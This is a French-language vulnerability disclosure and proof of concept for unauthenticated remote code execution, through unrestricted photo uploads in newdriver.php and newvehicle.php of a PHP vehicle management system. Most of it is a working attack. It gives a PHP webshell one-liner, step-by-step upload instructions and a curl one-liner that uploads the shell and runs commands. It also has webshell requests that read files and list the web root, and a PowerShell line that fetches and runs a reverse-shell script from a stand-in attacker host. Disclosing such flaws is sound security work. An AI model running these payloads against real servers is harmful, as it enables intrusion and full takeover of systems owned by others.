
Exploit d'exécution de code à distance non authentifié pour le système de gestion de véhicules en PHP via un téléchargement de fichier sans restriction dans newdriver.php et newvehicle.php, avec PoC et étapes de reproduction détaillées.
| Champ | Détails |
|---|
| Produit | Système de gestion de véhicules en PHP |
| Vendeur | code-projects.org |
| Version | V1.0 |
| Type de vulnérabilité | Téléchargement de fichier sans restriction conduisant à une exécution de code à distance (CWE-434) |
| Fichiers concernés | newdriver.php, newvehicle.php |
| Paramètre | photo (POST, multipart/form-data) |
| Authentification requise | Non (non authentifiée) |
| Score CVSS | 10.0 Critique |
| Vecteur d'attaque | Réseau / à distance |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
Le Système de gestion de véhicules en PHP V1.0 de code-projects.org est vulnérable à une exécution de code à distance non authentifiée via un téléchargement de fichier sans restriction dans newdriver.php (et identiquement dans newvehicle.php).
L'application expose un formulaire d'enregistrement "Nouveau conducteur" réservé à l'administrateur sur newdriver.php qui comprend un champ de téléchargement de photo. Cependant, le point de terminaison n'effectue aucune validation de session — tout attaquant non authentifié peut y accéder directement sans être redirigé vers la connexion. De plus, le champ de téléchargement de photo accepte tout type de fichier, y compris les fichiers PHP, sans filtrage d'extension, validation du type MIME ou inspection du contenu.
Un attaquant peut :
newdriver.php sans aucune session ni informations d'identification/picture/Cela entraîne une exécution de code à distance complète avec les privilèges du processus du serveur web.
Requête HTTP non authentifiée
↓
newdriver.php (aucune vérification de session)
↓
Le champ photo accepte le fichier .php (aucune validation de type de fichier)
↓
Shell enregistré dans /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — exécution de commande OS arbitraire
Ouvrez un navigateur frais sans session (fenêtre de navigation privée). Accédez directement au point de terminaison :
http://CIBLE/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
Le formulaire du nouveau conducteur se charge avec succès sans vérification d'authentification et sans redirection vers la connexion.

Créez un simple webshell d'exécution de commandes PHP :
<?php system($_GET['cmd']); ?>
Enregistrez-le sous shell.php (ou tout nom de fichier .php).
Remplissez les champs du formulaire conducteur avec des valeurs quelconques et sélectionnez le webshell PHP comme téléchargement de photo :
Nom du conducteur : test
Mobile : 1234567890
Date d'embauche du conducteur : 2026-05-19
ID national : test
Permis n° : test
Date de fin de permis : 2026-05-30
Adresse du conducteur : test
Photo : shell.php ← Webshell PHP téléchargé ici
Cliquez sur Soumettre la requête.


L'application répond avec "Inscription terminée !" — confirmant que le shell PHP a été accepté et enregistré sans aucune validation.

Naviguez vers le shell téléchargé dans le répertoire /picture/ et passez des commandes OS via le paramètre cmd :
http://CIBLE/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
Le serveur exécute la commande et renvoie la sortie :
desktop-g1i9np3\dell

# Lecture de fichiers sensibles
http://CIBLE/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# Liste de la racine web
http://CIBLE/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Shell inversé complet via PowerShell
http://CIBLE/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTAQUANT/shell.ps1')"
La même vulnérabilité existe dans newvehicle.php. Un attaquant non authentifié peut accéder au formulaire d'ajout de nouveau véhicule, télécharger un webshell PHP via le champ photo du véhicule, et obtenir l'exécution de code à distance via la même méthode.
http://CIBLE/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Les deux points de terminaison partagent la même cause racine : aucune validation de session et aucune restriction de téléchargement de fichier.
curl -s -X POST \
"http://CIBLE/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell téléchargé" \
&& curl -s "http://CIBLE/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php et newvehicle.php tous deux vulnérables| Fichier | Champ de téléchargement | Chemin de stockage du shell |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Chercheur en sécurité indépendant